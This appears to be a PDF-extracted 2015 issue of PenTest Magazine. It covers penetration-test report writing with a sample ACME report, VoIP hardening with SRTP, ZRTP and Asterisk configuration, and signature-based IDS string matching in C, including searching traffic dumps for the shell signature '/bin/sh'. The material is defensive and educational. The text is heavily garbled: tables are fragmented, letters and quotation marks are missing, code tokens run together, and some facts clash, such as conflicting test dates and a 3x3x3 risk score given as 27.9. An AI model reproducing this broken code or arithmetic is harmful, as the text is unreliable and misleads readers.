PenTest 04 - 2015
PenTest 04 - 2015
PenTest 04 - 2015
Improve your
Firewall Auditing
As a penetration tester you have to be an expert in multiple
technologies. Typically you are auditing systems installed and
maintained by experienced people, often protective of their own
methods and technologies. On any particular assessment testers may
have to perform an analysis of Windows systems, UNIX systems, web
applications, databases, wireless networking and a variety of network
protocols and firewall devices. Any security issues identified within
those technologies will then have to be explained in a way that both
management and system maintainers can understand.
he network scanning phase of a
penetration assessment will quickly
identify a number of security
weaknesses and services running on the
scanned systems. This enables a tester to
quickly focus on potentially vulnerable
systems and services using a variety of tools
that are designed to probe and examine
them in more detail e.g. web service query
tools. However this is only part of the picture
and a more thorough analysis of most
systems will involve having administrative
access in order to examine in detail how
they have been configured. In the case of
firewalls, switches, routers and other
infrastructure devices this could mean
manually reviewing the configuration files
saved from a wide variety of devices.
Although various tools exist that can
examine some elements of a configuration,
the assessment would typically end up
being a largely manual process. Nipper
Studio is a tool that enables penetration
testers, and non-security professionals, to
quickly perform a detailed analysis of
network infrastructure devices. Nipper
Studio does this by examining the actual
configuration of the device, enabling a much
more comprehensive and precise audit than
a scanner could ever achieve.
www.titania.com
Contents
Writing an Effective Penetration Testing Report 8
High-Level Security Assessment 8
Tools of the Trade 9
Network reconnaissance & scanning 9
Vulnerability indentification & investigation 9
Exploitation of vulnerabilities 9
Business Case 9
Planning and Preparation 10
Risk Management 11
Gathering and Translating Raw Data 12
Analyze and Filter Your Data 12
Converting Data 12
Secure Data Exchange/Transmission 12
Translating Raw Data 13
Project Proposal 14
Project Activities 14
Deliverables 15
PenTest Magazine |
| PenTest Magazine
PenTest Magazine |
[ GEEKED AT BIRTH ]
DISCLAIMER!
Writing an Effective
Penetration Testing Report
enetration test or pentest is a typical security assessment which is the process to gain access
to specific information assets (eq. computer systems, network infrastructure, or application).
Penetration test simulates the attack performed internally or externally by the attackers which
has the intention to find security weaknesses or vulnerabilities and validate the potential impacts and
risks should those vulnerabilities being exploited.
Security issues found through penetration test are presented to the systems owner, data owner
or risk owner. Effective penetration test will support this information with accurate assessment of
thepotential impacts to the organization and range of technical and procedural safeguards should
beplanned and executed to mitigate risks.
Many penetration testers are in fact very good in technical since they have skills needed toperform
all of the tests, but they are lack of report writing methodology and approach which create a very
big gap in penetration testing cycle. A penetration test is useless without something tangible to
give to aclient or senior management. Report writing is a crucial part for any service providers
(eq. IT service/advisory). A report should detail the outcome of the test and, if you are making
recommendations, document the recommendations to secure any high-risk systems.
The target audience of a penetration testing report will vary, technical report will be read by IT
orany responsible information security people while executive summary will definitely be read by
thesenior management.
Writing an effective penetration testing report is an art that needs to be learned and to make sure
that the report will deliver the right information to the targeted audience. Detailed steps will be covered
in the next subsequent modules.
Vulnerability assessment (VA) or vulnerability scanning normally offered with the objective to identify
weaknesses or vulnerabilities. Uses automated systems (such as Nessus, eEye Retina or QualisysGuard).
Inexpensive way to make sure no vulnerability exist. Does not have a clear strategy to improve organizations
security.
Network security assessment is a combination of automated and hands-on manual vulnerability identification
and testing. The report is created, giving practical advice which can improve organizations security.
Penetration testing involves in multiple attack vectors (eq. wireless testing, social engineering
orclient-side testing, or war dialing) to compromise the target environment. Penetration testing can
be done with several accepted methodologies from internal and external environment with different
approaches such as black-box (with no prior knowledge), white-box (with full knowledge) or grey-box
(with some knowledge) depending on the scope of work agreed with the client.
Onsite auditing probably is the most common type of security assessment done in many organizations.
It provides the clearest picture of network security. Local access is given to the testers or consultants
which allow them to explore and identify anything untoward, including rootkits, backdoors, Trojans, weak
passwords, weak permissions or policies, mis-configurations, and other issues.
PenTest Magazine |
Exploitation of vulnerabilities
Most of the tools shown above are available on BackTrack/Kali Linux as well as BackBox Linux
penetration testing distributions.
As for the penetration testing methodologies, we can create our own or adopt from several wellknown standards such as:
Business Case
Why conduct penetration test? What are the objectives of penetration test? What are the benefit
ofpenetration test compared to other type of security assessments?
| PenTest Magazine
10
PenTest Magazine |
No.
Position/Function
Resource Name
1.
2.
3.
4.
Security Analyst/Pentester #1
5.
Security Analyst/Pentester #2
6.
Technical Documentation
7.
8.
Application Specialist
Risk Management
Risk calculation and analysis are part of the overall risk management. An effective penetration testing
report should include at minimum, risk calculation and analysis. Guide to risk management can be
easily found from several resources in the Internet (eq. NIST SP800-30, Risk Management Guide for
Information Technology Systems).
Components of risk analysis explained as follows:
Threat a possible danger that might exploit avulnerabilityto breach security and thus cause
possible harm.
Vulnerability a weakness which allows anattackerto reduce a systemsinformation assurance.
Vulnerability is the intersection of three elements: a system susceptibility or flaw, attacker access
tothe flaw, and attacker capability to exploit the flaw.
Impact a successful threat exercise of a vulnerability (internal or external).
Risk rating based on this calculation:
Risk = Threat x Vulnerability x Impact
After calculating the risk rating, we start writing report on each risk and how to mitigate it
(riskmitigation or reduction).
Table 2. Risk Analysis and Rating Calculation
Risk Analysis
Threat
Low
Medium
High
Vulnerability
Impact
Low
Medium
High
Critical
12
Critical
12
12
16
12
16
12
18
24
18
24
32
12
12
18
24
18
27*
36
12
24
36
48
16
16
24
32
12
24
36
48
16
32
48
64
11
Rating Calculation
L
Low
1 16
Medium
17 32
High
33 48
Critical
49 64
| PenTest Magazine
Threat
Vulnerability
Impact
Risk
Networking Devices
3.0
2.0
2.0
12.0
Operating Systems
3.0
3.0
3.0
27.9
Average
3.0
2.5
2.5
19.5
Converting Data
Data translation might be needed in certain scenarios. You might want all of your team members to
have a standard in translating collected data. Raw data can be easily translated to multiple type of file
formats such as text, xml, html, png, jpg and etc.
12
The following shows you an example of converting data from an xml to an html file format:
nmap A iL targets.txt A output
File Type
output.nmap
Text file
output.gnmap
output.xml
XML file
PenTest Magazine |
Vulnerability Type
Total
1.
2.
Mis-configuration
3.
Missing patches/updates
4.
Weak encryption
5.
Miscellaneous
10
Total
27
13
Host IP
Hostname
Operating System
Vulnerable
Exploited?
Risk Factor
1.
192.168.1.1
LON-RTR1
Yes
Yes
High
2.
192.168.1.2
LON-RTR2
Yes
No
Medium
3.
192.168.1.3
LON-SW1
Yes
Yes
High
4.
192.168.1.4
LON-SW2
Yes
Yes
High
5.
192.168.1.5
LON-DC1
Yes
Yes
High
6.
192.168.1.6
LON-SVR1
Yes
Yes
High
7.
192.168.1.7
LON-WEB1
Yes
No
Medium
8.
192.168.1.8
LON-APP1
Yes
No
Medium
| PenTest Magazine
14
Project Activities
Activities related to a penetration testing project should be clearly defined. We can use this document
to track our project progress by placing the percentage of tasks done. Project management portfolio
tools can be used to help us in visualizing the project activities/tasks in a form of Gantt chart.
Table 6. Sample Project Activities
PenTest Magazine |
No.
Activity/Task
Estimated
Duration (days)
1.
2.
Kick-off meeting
3.
Initial assessment
4.
Information gathering
5.
Vulnerability identification
6.
Risk assessment
7.
Exploitation/penetration
8.
Post-exploitation (optional)
9.
Housekeeping (cleaning-up)
10.
11.
Reporting
12.
Project Closing
Start
Date
End
Date
Complete (%)
Deliverables
Deliverable is a tangible or intangible object produced as a result of the project that is intended to be
delivered to a client or customer.
The result of a security assessment is a form of deliverable. Deliverables in the form of reports
thatwill be delivered and reviewed by the client or senior management in several types or formats.
Type of deliverables in pentest project are:
Executive Summary
Technical Report
by Semi Yulianto
15
| PenTest Magazine
Sample Penetration
TestingReport
Document Information
Document Details
Company
Document Title
16
ACME
Network Infrastructure Vulnerability Assessment and Penetration
Testing Report
Version
Due Date
Author
Pen-testers
1.0
01 December 2013
Semi Yulianto
1. Semi Yulianto
2. Arvin Yulianto
3. Andryanto Eka Wijaya
Reviewed by
Approved by
Classification
Document Type
Team
Team
Confidential
Deliverable
Recipients
Name
Quality Assurance
Date
Issue
02/12/2013
Review
03/12/2013
QA/Final
06/12/2013
Approval
Document History
Version
Date
1.0
11/12/2013
PenTest Magazine |
Title
Name
Semi Yulianto
Semi Yulianto
Arvin Yulianto
Department
Title
Senior Security Analyst
Senior Security Analyst
QA Manager
Name
Network Infrastructure Vulnerability Assessment and
Penetration Testing Report
Completed
02/12/2013
05/12/2013
11/12/2013
Description
Final Report
17
Thats because penetration tests exploit identified vulnerabilities, just as an attacker would. Unlike
vulnerability scans, penetration tests leave little doubt as to what an attacker can or cannot do.
Penetration tests eliminate the guesswork involved in protecting your network by providing you with
the information you need to effectively prioritize your vulnerabilities.
2 Document Scope
The document hereby describes the proceedings and results of the Information Systems (IS)
Vulnerability Assessment and Penetration Testing (VA-PT) conducted at ACME. The test performed
byour team and took place on 1 Nov 6 Dec 2013 as part of a special assignment.
2.2 Limitation
The test was limited to certain hosts (IP addresses) provided by the ACME based on the criticality
and business risks of assets being assessed. Due to some technical and non- technical constrains,
several targets were not being exploited during the assignment, and thus non-intrusive Security
Assessment was conducted to avoid risks.
SANS Institute
Institute for Security and Open Methodologies OSSTMM
Open Information Systems Security Group ISSAF
National Institute of Standards and Technology (NIST)
Payment Card Industry Data Security Standard (PCI DSS)
| PenTest Magazine
ACME
Target of Evaluation:
Network Infrastructure
Project Duration:
Sources:
Given IP addresses
Tests Performed:
Tools Used:
Type of Tests:
Deliverables:
Nmap
Nessus
MetasploitPro
Metasploit Framework
Hydra
Telnet
Armitage
4 Executive Summary
4.1 Summary
ACME has assigned the task of carrying out VAPT of the Network Infrastructure (servers, firewalls,
intrusion detection systems, and networking devices) located on ACME internal network (data
center). This is the final Penetration Testing report. The assessment was performed from 1 June to
30July2013. The detailed report about each task and our findings are described below.
18
The purpose of the test is to determine security posture of the ACMEs environment (Network
Infrastructure). The tests are carried out assuming the identity of an attacker of a user with malicious
intent. At the same time due care is taken not to harm the server or database.
4.2 Approach
The following explains the steps taken during the tests:
PenTest Magazine |
Start Date/Time
End Date/Time
01/11/2013
29/11/2013
02/12/2013
05/12/2013
06/12/2013
10/12/2013
Reporting
11/12/2013
13/12/2013
High
Medium
Low
Networking Devices
18
Operating System
41
11
Total
50
29
19
High
Medium
Low
Firewall
23
IPS
Router
37
77
Switch
29
49
Total
76
155
| PenTest Magazine
20
PenTest Magazine |
21
5 Methodology
Vulnerability Assessment and Penetration Testing Methodology Simplified:
| PenTest Magazine
5.2 Exploitation
Utilizing the information gathered in Planning we start to find the vulnerability for each OS and service
that we discovered after that trying to exploit it.
5.3 Reporting
Based on the results from the first two steps, we start analyzing the results. Our risk rating is based
onthis calculation:
Risk = Threat x Vulnerability x Impact
Low
Medium
High
Critical
Vulnerability
Impact
Low
12
12
16
Medium
12
16
12
18
24
18
24
32
High
12
12
18
24
18
27*
36
12
24
36
48
Critical
12
16
16
24
32
12
24
36
48
16
32
48
64
Low
1 16
Medium
17 32
High
33 48
Critical
49 64
After calculating the risk rating, we start writing the report on each risk and how to mitigate it.
22
* Based on our analysis, risks that falls under this category will be considered as High.
Threat
Vulnerability
Impact
Risk
Networking Devices
3.0
2.0
2.0
12.0
Operating System
3.0
3.0
3.0
27.9
Average
3.0
2.5
2.5
19.5
PenTest Magazine |
IP Address
Description
Operating System
Vulnerable Exploited*
Risk Factor
192.168.1.1
Host A
Yes
No
Medium
192.168.1.2
Host B
Yes
No
Low
192.168.1.3
Host C
Yes
No
Low
192.168.1.4
Host D
Yes
No
Medium
192.168.1.5
Host E
Yes
No
Medium
192.168.1.6
Host F
Yes
No
Medium
192.168.1.7
Host G
Yes
No
Low
192.168.1.8
Host H
Yes
No
Low
192.168.1.9
Host I
Yes
No
Low
10
192.168.1.10 Host J
Yes
No
Medium
11
192.168.1.11 Host K
Yes
No
Low
12
192.168.1.12 Host L
Yes
No
Medium
13
192.168.1.13 Host M
Yes
No
Medium
14
192.168.1.14 Host N
Yes
No
Medium
15
192.168.1.15 Host O
Yes
No
Medium
16
192.168.1.16 Host P
Yes
No
Medium
17
192.168.1.17 Host Q
Yes
No
Medium
Host Type
Description
Location
Risk
Factor
Inspection
192.168.1.1
Host A
Location A
Medium
Automated
192.168.1.2
Host B
Location A
Medium
Automated
192.168.1.3
Host C
Location A
Medium
Manual
192.168.1.4
Host D
Location A
Medium
Manual
192.168.1.5
Host E
Location A
Medium
Automated
192.168.1.6
Host F
Location A
Medium
Automated
192.168.1.7
Host G
Location A
Medium
Automated
192.168.1.8
Host H
Location B
Medium
Automated
192.168.1.9
Host I
Location B
Medium
Automated
10
192.168.1.10 Host J
Location B
Medium
Automated
11
192.168.1.11 Host K
Location B
Medium
Automated
12
192.168.1.12 Host L
Location B
Medium
Automated
13
192.168.1.13 Host M
Location B
Medium
Automated
14
192.168.1.14 Host N
Location C
Medium
Automated
15
192.168.1.15 Host O
Location C
Medium
Automated
16
192.168.1.16 Host P
Location C
Medium
Automated
17
192.168.1.17 Host Q
Location C
Medium
Automated
23
| PenTest Magazine
Description
Operating System
VA
CSA
Overall
192.168.1.1
Host A
Medium
Medium
Medium
192.168.1.2
Host B
Low
Medium
Medium
192.168.1.3
Host C
Low
Medium
Medium
192.168.1.4
Host D
Medium
Medium
Medium
192.168.1.5
Host E
Medium
Medium
192.168.1.6
Host F
Medium
Medium
Medium
192.168.1.7
Host G
Low
Medium
Medium
192.168.1.8
Host H
Low
Medium
Medium
192.168.1.9
Host I
Low
Medium
Medium
10
192.168.1.10 Host J
Medium
Medium
Medium
11
192.168.1.11 Host K
Low
Medium
Medium
12
192.168.1.12 Host L
Medium
Medium
13
192.168.1.13 Host M
Medium
Medium
14
192.168.1.14 Host N
Medium
Medium
15
192.168.1.15 Host O
Medium
Medium
16
192.168.1.16 Host P
Medium
Medium
17
192.168.1.17 Host Q
Medium
Medium
* High vulnerabilities found in the Initial Phase of the assessment have successfully remediated. Follow-up and continuous
monitoring should be done for Medium and Low level vulnerabilities (Risk Treatment Plan/RTP).
24
Type
Service
1.
Password
Enable
2.
Password
Users
3.
Community
SNMP
4.
Password
Line
PenTest Magazine |
No.
Description
1.
2.
The password too short and did not meet the minimum complexity requirements
3.
192.168.1.1
Description:
Host A
Operating System:
Vulnerable:
Yes
Exploited:
No
Vulnerability Assessment
High
Medium
Low
Risk Factor:
Overall Risk:
Low
Configuration Security Audit
High
Medium
Low
Risk Factor:
Overall Risk:
Medium
MEDIUM
192.168.1.2
Description:
Host B
Operating System:
Vulnerable:
Yes
Exploited:
No
Vulnerability Assessment
High
Medium
Low
Risk Factor:
Overall Risk:
Low
Configuration Security Audit
High
Medium
Low
Risk Factor:
10
Overall Risk:
Medium
25
MEDIUM
7 Conclusion
Most of the vulnerabilities found in the Initial Phase of the assessment have successfully remediated.
Vulnerabilities that could not be remediated immediately due to some technical and operational
reasons (eq. needed for remote administration and troubleshooting) still introduce risks therefor
compensating controls must be applied and implemented to reduce or mitigate risks associated with
vulnerabilities being exposed.
Compensating security controls are controls that provide an alternative to normal controls that
cannot be used for some reason. For instance, a certain server cannot have antivirus software
installed because it interferes with a critical application. A compensating control would be to increase
monitoring of that server or isolate that server on its own network segment.
For systems to remain secure, security posture must be evaluated and improved continuously.
Establishing the organizational structure that will support these ongoing improvements is essential
inorder to maintain control of corporate information systems.
We conclude that the overall security has been improved. We hope that ACMEs network infrastructure
will be reviewed at least every 6 (six) months or annually depending on the amount of changes to the
source code.
| PenTest Magazine
26
PenTest Magazine |
Register Now at
www.TechnoSecurity.us
with promo code PTE15 for a
20% discount on conference rates!
Comexposium IT & Digital Security and Mobility Trade Shows & Events:
an event by
ecuring VoIP networks is not an easy task at all, but it is very important. In this chapter the
author will write about a really important process which should be always considered either
on a VoIP system and any time you would protect your information, this process is called
Hardening.
Usually, in the world of Information Technology, people think about security as it was only regarding
files which resides in mass memories. But, also the speach which pass through a VoIP network has
the same value: in the previous chapters, we have already seen how the authoritative information
could be listened during a running telephone call and used by malicious people in order to cheat
theusers. We have also seen how VoIP protocols have several security problems and for each
ofthat the author has suggested some countermeasure. In this chapter the author will threat all these
security aspect in a deeply way.
At the beginning, VoIP was used by the company just in order to realize internal telephony calls.
In this way the security aspects of VoIP networks was been avoided for several years. Hence, VoIP
systems was been hardening just in the last years and not always in the correct ways. This is due
to the fact that VoIP hardening is not an easy task and it involves embedded devices which are not
cheaper. Furthermore, vendors initially have not incorporated their security features in an easy and
interoperable way and the VoIP consumers have suffered about it.
28
In this chapter the reader will learn the guide lines used by the best expert in VoIP security.
Thesebest practice should be applied in order to avoid the attacks reported in the previous chapters.
PenTest Magazine |
Theres an important difference between HTTP and SIP, while the first uses of a web browser the latter
use either an phone or a softphone. This implies a standardization problem, since theres anhigher
variety of telephone device compared to web browsers. An high variety means that there are alot
ofVoIP vendors which unfortunally could develop the handshake process previously reported
indifferent ways. For instance, CISCO and Avaya, two of the major brands in the VoIP systems,
provide this handshake in a rather differently way.
29
Secure RTP
How to hardening SIP by mean of the SSL protection was reported by the author in the previous
section. But in this way, the multimedia part of the call which is carryed out by mean of RTP packets,
is again unprotected. Hence, a SIP infrastructure which uses SSL with RTP in clear, permits the
attackers both to eavesdrop call (gathering confidential information) and inject vocal signal into the
calls. In practice, several of the attacks reported by the previous chapters are again possible.
Request For Comment (RFC) number 3711 defines Secure RTP (SRTP) as a protocol which is able
to add encryption, confidentiality, and integrity to RTP and RTCP. SRTP can encrypt the payload field
belonging to an RTP packet. The information belonging to the RTP header remains in clear, in this way
once an encrypted RTP packet will be received by a router, it can read this information in order to
forward correctly the packet.
The reader can understand how in this way the RTP header could be tampered by any attacker.
Actually the RTP header is protected by SRTP, since it provides authentication and integrity checking
for the RTP header information by mean of a keyedHash Message Authentication Code algorithm
with Secure Hash version 1 function. This binomial takes the acronymous name of HMAC-SHA1.
Since, SRTP does not provide the encryption of the headers but just an anti-tampering checksum,
anSRTP packet is very similar to an RTP packet.
| PenTest Magazine
HMAC-SHA1
As just reported, SRTP was also designed in order to provide message integrity to the header of the
RTP packets. Hence, in addition to AES, SRTP uses HMAC method for this features.
When HMAC is used with the SHA-1 hash function, it is called HMAC-SHA1. HMAC-SHA1 is an
hashing method used to verify both the message integrity and the authenticity of the message. With
this method, an HMAC-SHA1 hash number will be added at the end of each packet in order to provide
the integrity between two VoIP devices. The addition of the integrity feature will ensure that the RTP
packets are not susceptible to any replay attack. Plese, note that a replay attack could be performed
even when encryption is applied.
30
Auth Tag
In the following the author will report the steps involved by two devices which are using SRTP. The
example describes the communication between two UACs having extensions equal to 1000 and
2000. We are supposing that theyre using SRTP having payloads encryption and RTP headers
authentication:
1000 requests the session keys from the Asterisk PBX
Since Asterisk has the Master Key (MK), it opens two sessions the fisrt one with 1000 and
thelatter with 2000.
Now the key negotiation phase starts, the MK is passed in the header of SIP and the actual
Session Keys (SK) are generated later on the UACs by mean of AES.
Once received the MK, both the UACs create the SK for their communication.
Once the SK are created, the SRTP communication can start.
As already reported, the standard implementation of SRTP depends by the network platform.
Onceagain the most famous plaftorms are:
Asterisk
Cisco
Avaya
PenTest Magazine |
ZRTP
An extension of RTP which applies Diffie-Hellman (DH) key agreement for SRTP packets is
called ZRTP. ZRTP provides the key management services during the setup process belonging
to atelephone call. It does not work at the session layer such as a common signalling protocols,
butitworks on SRTP.
ZRTP creates a shared secret, which will be used in order to generate keys and a salt for the
sessions enrypted with SRTP. It does neither require Private Shared Secrets (PSK) nor a Public Key
Infrastructure (PKI).
In order to avoid MITM attacks between the UACs, ZRTP uses a Short Authentication String (SAS)
which is an hash value of the DH keys. The SAS will be communicated to both UACs using ZRTP.
Each UAC will verify the SAS value to ensure that the hashes match and it means that the keys are
nottampered.
Zfone
A VoIP client called Zfone (www.zfoneproject.com/) could be adopted in order to provide an
implementation of ZRTP, which gives security to the RTP communication. Zfone are used with any VoIP
signaling protocols (for instance, both SIP or H.323). Zfone could be used with any softphone that
does not use RTP encryption.
Zfone must be installed on both UACs. Zfone monitors the IP stack belonging to the OS on which
the softphone is installed, by expecting an incoming VoIP call. Once a VoIP incoming call has been
intercepted by Zfone, it encrypts the media communication. When either a non-SRTP or non-ZRTP
device is establishing the phone call, Zfone detects that the call is beginning and then starts a key
agreement between the local UAC and the remote UAC. Once the key agreement was ended, Zfone
will encrypt all RTP packets between the two UACs.
31
In order to use Zfone between two UACs which do not support natively media encryption (such as
both ZoIPer and X-Lite softphones belonging to our Workshop testplant), the following instructions
could be executed (please, notice that we are configurating two new UACs, respectively called 4000
and 5000, on the PBX belonging to the Workshop testplant, instead of modify those already existing):
You have to edit the sip.conf on Asterisk PBX, by adding the following lines at the end of file:
[4000]
type=friend
username=4000
host=dynamic
secret=4000pwd
context=test
[5000]
type=friend
username=5000
host=dynamic
secret=5000pwd
context=test
In the extensions.conf file, you have to add the following lines in the [test] realm:
[test]
exten => 4000,Dial,(SIP/4000)
exten => 5000,Dial,(SIP/5000)
| PenTest Magazine
Firewalls
Configuring correctly a firewall in VoIP networks is not an easy task at all. Since in a VoIP system the
UDP ports up the 1024 should be allowed. Even though some modifies was recently accomplished
on VoIP devices (by reducing the number of ports needed), several VoIP networks also use an high
number of UDP ports on the network and morever many of this ports are not static. Dynamic ports
are usually used with RTP and both the most important signalling protocols (SIP and H.323) use RTP
for media transfer. Living together a firewall is an hard task for signalling packets, since RTP uses
dynamic ports by default by limiting the capabilities of a firewall to manage the exact port number.
32
by Mirko Raimondi
PenTest Magazine |
Signature-based IDS
Algorithms
S
ignature-based approach comes from first implementations of intrusion detection systems and
still is in use and actual.
First of all, imagine you have to somehow detect an inappropriate use of network or anomalous
activity, what will you do? This implies that, if we have to detect something, we must then define the
things we should detect. And what comes to mind here: if we know how attacks look like, behave
orwhat they do to network, we can inspect our traffic for such activities.
But how can we search traffic if attack contains several steps or is more complex? What should we
search for? And how?
The main idea of signature-based detection approach is to extract short-length pattern from each
known attack and then inspect all network activity for these patterns presence.
Pretty simple at first look.
But this simple idea faces several difficulties when it comes to implementation.
33
| PenTest Magazine
34
All substrings of text is compared to pattern sequentially as long as first pattern occurrence is found
or the end of text is reached.
It can be easily implemented in C language.
1. #include<stdio.h>
2. #include<string.h>
3.
4. voidnaivesearch(char*pattern, char*text)
5. {
6. intpatternLength =strlen(pattern);
7. inttextLength =strlen(text);
8. /* sliding pattern[] one by one */
9. for(inti =0; i <=(textLength -patternLength); i++) {
10. intj;
11.
12. /* check for pattern */
13. for(j =0; j <patternLength; j++) {
14. if(text[i+j] !=pattern[j])
15. break;
16. }
17. if(j ==patternLength) {
18. printf(Pattern found at index %d \n, i);
19. }
20. }
21. }
22.
PenTest Magazine |
Referring to implementation of this naive matcher, we see that first for-loop (in line 10) is executed
at most textLength patternLength +1 times, and the the inner for-loop is executed at most
patternLength times.
Therefore, the running time of the algorithm is
O((textLength patternLength+1)*patternLength)
which is
O(textLength *patternLength)
Hence, in the worst case, when the length of the pattern, patternLength are roughly equal,
thisalgorithm runs in the quadratic time.
Now we can test our implementation to find pattern /bin/sh in network traffic dump.
Modify the code so we will get our dump text as txt variable, and p variable set to /bin/sh.
1. #include <stdio.h>
2. #include <time.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <ctype.h>
6.
7. voidnaivesearch(char*pattern, char*text)
8. {
9. intpatternLength =strlen(pattern);
10. inttextLength =strlen(text);
11. /* sliding pattern[] one by one */
12. for(inti =0; i <=(textLength -patternLength); i++) {
13. intj;
14. /* check for pattern */
15. for(j =0; j <patternLength; j++) {
16. if(text[i+j] !=pattern[j])
17. break;
18. }
19. if(j ==patternLength) {
20. printf(Pattern found at index %d \n, i);
21. }
22. }
23. }
24.
25. intmain(intargc, char*argv[])
26. {
27. FILE*fp;
28. longlSize;
29. char*buffer;
30. fp =fopen( argv[1], r);
31. if( !fp ) {
32. perror( argv[1] );
35
| PenTest Magazine
36
Run it on several files to test speed. Try to feed it with large dump file to timings.
Next, we will try to implement more complex algorithms of searching (and you ll see naive approach
is not the worst in many situations, surprisingly).
PenTest Magazine |
37
So, assuming youve downloaded Multifast code, you have to compile it.
First, you need to compile ahocorasick library used in application. This library contains
implementation of the entire algorithm.
To do this, simply go to ahocorasick folder and make it.
This certain implement relies on File Tree Walker (includes ftw.h) so itll compile successfully only
onunix systems where ftw.h is present.
For Windows test, just google Aho-Corasick implementation in C for Windows there are plenty
ofresults.
The library provides the following functions:
1.
2.
3.
4.
5.
6.
7.
8.
9.
AC_AUTOMATA_t*ac_automata_init (void);
AC_STATUS_t ac_automata_add (AC_AUTOMATA_t *thiz, AC_PATTERN_t *pat);
voidac_automata_finalizeAC_AUTOMATA_t *thiz);
intac_automata_search AC_AUTOMATA_t *thiz, AC_TEXT_t *txt, int*keep,
AC_MATCH_CALBACK_f *callback, void*param);
voidac_automata_settext (AC_AUTOMATA_t *thiz, AC_TEXT_t *text, intkeep);
AC_MATCH_t*ac_automata_findnext(AC_AUTOMATA_t *thiz);
voidac_automata_release (AC_AUTOMATA_t *thiz);
voidac_automata_display (AC_AUTOMATA_t *thiz, charrepcast);
| PenTest Magazine
The main automata structure that contains all nodes and edges with all pattern data.
AC _ PATTERN _ t
The match data type that contains information about matched patterns
AC_MATCH_CALBACK_f:
A function of type int (*)(AC _ MATCH _ t *, void *) that is defined by the user. This function will be
called back by the library search internal whenever a match is found.
Next, compile the whole application (with simple make command in current directory)
Usage is pretty simple:
multifast -P pattern_file [-ndxrpfivh] file1 [file2 ]
38
-d
Show help
This application can take several files as an input, also it is able to work with standard Linux output.
Another thing to mention here is pattern format used by developers.
AX (REP) {PAT}
PenTest Magazine |
39
| PenTest Magazine
text[] = ABABABCABABABCABABABC
pattern[] = ABABAC (not a worst case, but a bad case for Naive)
The KMP matching algorithm uses degenerating property (pattern having same sub-patterns
appearing more than once in the pattern) of the pattern and improves the worst case complexity
toO(n).
The basic idea behind KMPs algorithm is: whenever we detect a mismatch (after some matches),
we already know some of the characters in the text (since they matched the pattern characters prior
to the mismatch). We take advantage of this information to avoid matching the characters that we
know will anyway match.
KMP algorithm preprocesses the pattern pattern[] and builds an array longest_proper_prefix[]
ofsame size as pattern.
For each subpattern pattern[0i] where i = 0 to m-1, longest_proper_prefix[i] is length of the
maximum matching proper prefix which is also a suffix of the subpattern pattern[0..i].
So,
longest_proper_prefix[i] = the longest proper prefix of pattern[0..i]
40
Index
Value
If we have an 8-character length pattern, our partial match table will have eight cells in a row. If were
looking at the 8th (last) cell in the table, we are interested in the entire pattern (abababca).
If we are looking at the 7 cell in table, were only interested in the first 7 characters in the pattern
(abababc); the 8th one (a) is irrelevant in this case.
And so on to the 1st cell.
Now, to talk about the meaning of values in cells, we need to understand what are proper prefixes
and proper suffixes.
The proper prefixes are all characters in a string, with one or more cut off the end.
T, Te, Tes, and Testi are all proper prefixes of Testing.
Proper suffixes are all characters in a string, with one or more cut off the beginning.
sting, ting, ing, ng, and g are all proper suffixes of Testing.
Thus we can now give the meaning of the values in the partial match table (PMT):
The length of the longest proper prefix in the (sub)pattern that matches a proper suffix in the same
(sub)pattern.
PenTest Magazine |
41
then we may
skip ahead partial_match_length table[partial_match_length 1] characters.
Index
Value
| PenTest Magazine
This is a partial_match_length of 5.
The value at table[partial_match_length 1] (or table[4]) is 3.
That means we should skip ahead
partial_match_length table[partial_match_length 1]
42
At this point, our pattern is longer than the remaining characters in the text, so we know theres
nomatch.
Thats how KMP algorithms works.
Now its time for implementation tests.
I took this implementation, its quite simple and understandable: http://code.activestate.com/
recipes/577908-implementation-of-knuthmorrispratt-algorithm/.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int*compute_prefix_function(char*pattern,intpsize)
{
intk=-1;
inti=1;
int*pi=malloc(sizeof(int)*psize);
if(!pi)
returnNULL;
pi[0]=k;
PenTest Magazine |
intkmp(char*target,inttsize,char*pattern,intpsize)
{
inti;
int*pi=compute_prefix_function(pattern,psize);
intk=-1;
if(!pi)
return-1;
for(i=0;i<tsize;i++){
while(k>-1&&pattern[k+1]!=target[i])
k=pi[k];
if(target[i]==pattern[k+1])
k++;
if(k==psize-1){
free(pi);
returni-k;
}
}
free(pi);
return-1;
}
intmain(intargc,constchar*argv[])
{
chartarget[]=ABC ABCDAB ABCDABCDABDE;
char*ch=target;
charpattern[]=ABCDABD;
inti;
i=kmp(target,strlen(target),pattern,strlen(pattern));
if(i>=0)
printf(matched @: %s\n,ch+i);
return0;
}
43
So, steps are the same take your modification from earlier algorithms to feed your dump too on this
implementation and try to run it on our machine.
| PenTest Magazine
is the number of possible characters. To obtain the signature value of the next position,
onlyaconstant number of operations is needed.
So, rather than pursuing more sophisticated skipping, the RabinKarp algorithm speeds up the
testing of equality of the pattern to the substrings in the text by using a hash function.
A hash function is a function which converts every string into a numeric value, called its hash value.
For example, we might have hash(hello) = 5. The algorithm exploits the fact that if two strings are
equal, their hash values are also equal. Thus, it would seem all we have to do is compute the hash
value of the substring were searching for, and then look for a substring with the same hash value.
However, there are two problems with this. First, because there are so many different strings, to
keep the hash values small we have to assign some strings the same number. This means that if the
hash values match, the strings might not match; we have to verify that they do, which can take a long
time for long substrings. Luckily, a good hash function promises us that on most reasonable inputs,
this wont happen too often, which keeps the average search time within an acceptable range.
The algorithm is as shown:
function RabinKarp(string s[1..n], string pattern[1..m])
hpattern :=hash(pattern[1..m]); hs :=hash(s[1..m])
for i from 1 to n-m+1
if hs = hpattern
if s[i..i+m-1]= pattern[1..m]
return i
hs :=hash(s[i+1..i+m])
return not found
44
In practice, this algorithm is slow due to the multiplications and the modulus operations. However,
it becomes competitive for long patterns. We can avoid the computation of the modulus function
atevery step by using implicit modular arithmetic given by the hardware. In other words, we use
themaximum value of an integer (determined by the word size) for q. The value of d is selected such
that dk mod 2r has maximal cycle length (cycle of length 2r-2), for r from 8 to 64, where r is the size,
inbits, of a word. For example, an adequate value for d is 31.
PenTest Magazine |
45
| PenTest Magazine
So, as a practice, try to modify this code to feed it with your dump file and compare results
toalgorithms we looked at before.
46
That means if you have correct patterns and correctly implemented search algorithm the probability
of something to be undetected is nearly zero.
But this such clear definition and accuracy comes several disadvantages.
PenTest Magazine |
47
Practice task
Now return to our installation of Snort (which was done is previous module of this workshop) and
create you own rule with your own attack signature. Of course, it is a test case and there will be
